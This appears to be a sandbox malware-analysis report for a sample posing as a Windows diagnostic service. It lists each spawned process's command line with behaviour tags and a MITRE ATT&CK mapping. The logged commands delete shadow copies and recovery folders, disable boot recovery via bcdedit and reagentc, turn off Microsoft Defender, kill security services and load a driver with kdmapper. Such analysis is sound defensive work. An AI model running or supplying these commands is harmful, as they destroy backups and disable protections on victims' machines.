- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c rd /s /q C:\Windows\System32\Recovery 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3800
- C:\Windows\SYSTEM32\icacls.exe
  icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:412
- C:\Windows\SYSTEM32\icacls.exe
  icacls "C:\Windows\System32\bcdedit.exe" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2388
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /set {globalsettings} advancedbootoptions No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3784
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /set {globalsettings} optionsedit No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3460
- C:\Windows\SYSTEM32\reagentc.exe
  reagentc /disable
  2⤵
  PID:2432
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:744
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:728
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /set {bootmgr} displaybootmenu No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2128
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /set {current} advancedoptions No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2072
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /deletevalue {current} recoverysequence
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4880
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /set {default} recoverysequence {00000000-0000-0000-0000-000000000000}
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3444
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2096
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:436
- C:\Users\Admin\AppData\Local\Temp\kdmapper.exe
  "C:\Users\Admin\AppData\Local\Temp\kdmapper.exe" --free "C:\Users\Admin\AppData\Local\Temp\testdriver.sys"
  2⤵
  PID:3340

C:\ProgramData\Microsoft\Windows\WindowsDiagnosticService.exe
C:\ProgramData\Microsoft\Windows\WindowsDiagnosticService.exe
1⤵
- Modifies Windows Defender notification settings
- UAC bypass
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4612
- C:\Windows\System32\Wbem\wmic.exe
  wmic shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-MpPreference -ExclusionProcess 'C:\ProgramData\Microsoft\Windows\WindowsDiagnosticService.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-MpPreference -ExclusionExtension '.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Disables one or more Microsoft Defender components
  - Suspicious behavior: EnumeratesProcesses
  PID:4964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Disables one or more Microsoft Defender components
  PID:800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Disables one or more Microsoft Defender components
  PID:1604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -EnableControlledFolderAccess Disabled"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -PUAProtection Disabled"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4324
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -SubmitSamplesConsent 2"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Disables automatic submission of suspicious files to Microsoft by Windows Defender
  PID:1952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -MAPSReporting 0"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5076
- C:\Windows\system32\cmd.exe
  cmd.exe /c taskkill /F /IM MsMpEng.exe 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4392
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM MsMpEng.exe
    3⤵
    - Kills process with taskkill
    PID:2844
- C:\Windows\system32\cmd.exe
  cmd.exe /c taskkill /F /IM SecurityHealthService.exe 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2172
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SecurityHealthService.exe
    3⤵
    - Kills process with taskkill
    PID:5056
- C:\Windows\system32\cmd.exe
  cmd.exe /c taskkill /F /IM NisSrv.exe 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4304
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM NisSrv.exe
    3⤵
    - Kills process with taskkill
    PID:4680
- C:\Windows\system32\cmd.exe
  cmd.exe /c taskkill /F /IM SgrmBroker.exe 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:1604
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SgrmBroker.exe
    3⤵
    - Kills process with taskkill
    PID:1536
- C:\Windows\system32\cmd.exe
  cmd.exe /c net stop WinDefend /y 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:976
- - C:\Windows\system32\net.exe
    net stop WinDefend /y
    3⤵
    PID:3252
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WinDefend /y
      4⤵
      PID:4268
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WinDefend start= disabled 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4488
- - C:\Windows\system32\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:3616
- C:\Windows\system32\cmd.exe
  cmd.exe /c reagentc /disable 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3408
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    PID:2268
- C:\Windows\system32\cmd.exe
  cmd.exe /c chkntfs /x C: 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4824
- - C:\Windows\system32\chkntfs.exe
    chkntfs /x C:
    3⤵
    PID:4076
- C:\Windows\system32\cmd.exe
  cmd.exe /c takeown /f C:\Recovery /r /d y 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2208
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Recovery /r /d y
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:320
- C:\Windows\system32\cmd.exe
  cmd.exe /c icacls C:\Recovery /grant %username%:F /t 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:212
- - C:\Windows\system32\icacls.exe
    icacls C:\Recovery /grant Admin:F /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:116
- C:\Windows\system32\cmd.exe
  cmd.exe /c rd /s /q C:\Recovery 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4524
- C:\Windows\system32\cmd.exe
  cmd.exe /c rd /s /q C:\Windows\System32\Recovery 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:1080
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {globalsettings} advancedbootoptions No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2436
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {globalsettings} optionsedit No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1860
- C:\Windows\system32\reagentc.exe
  reagentc /disable
  2⤵
  PID:3344
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2284
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1836
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {bootmgr} displaybootmenu No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2904
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} advancedoptions No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3120
- C:\Windows\system32\bcdedit.exe
  bcdedit /deletevalue {current} recoverysequence
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4408
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoverysequence {00000000-0000-0000-0000-000000000000}
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4396
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1724
- C:\Users\Admin\AppData\Local\Temp\kdmapper.exe
  "C:\Users\Admin\AppData\Local\Temp\kdmapper.exe" --free "C:\Users\Admin\AppData\Local\Temp\testdriver.sys"
  2⤵
  PID:5060

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3912855 /state1:0x41c64e6d
1⤵
PID:4344

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry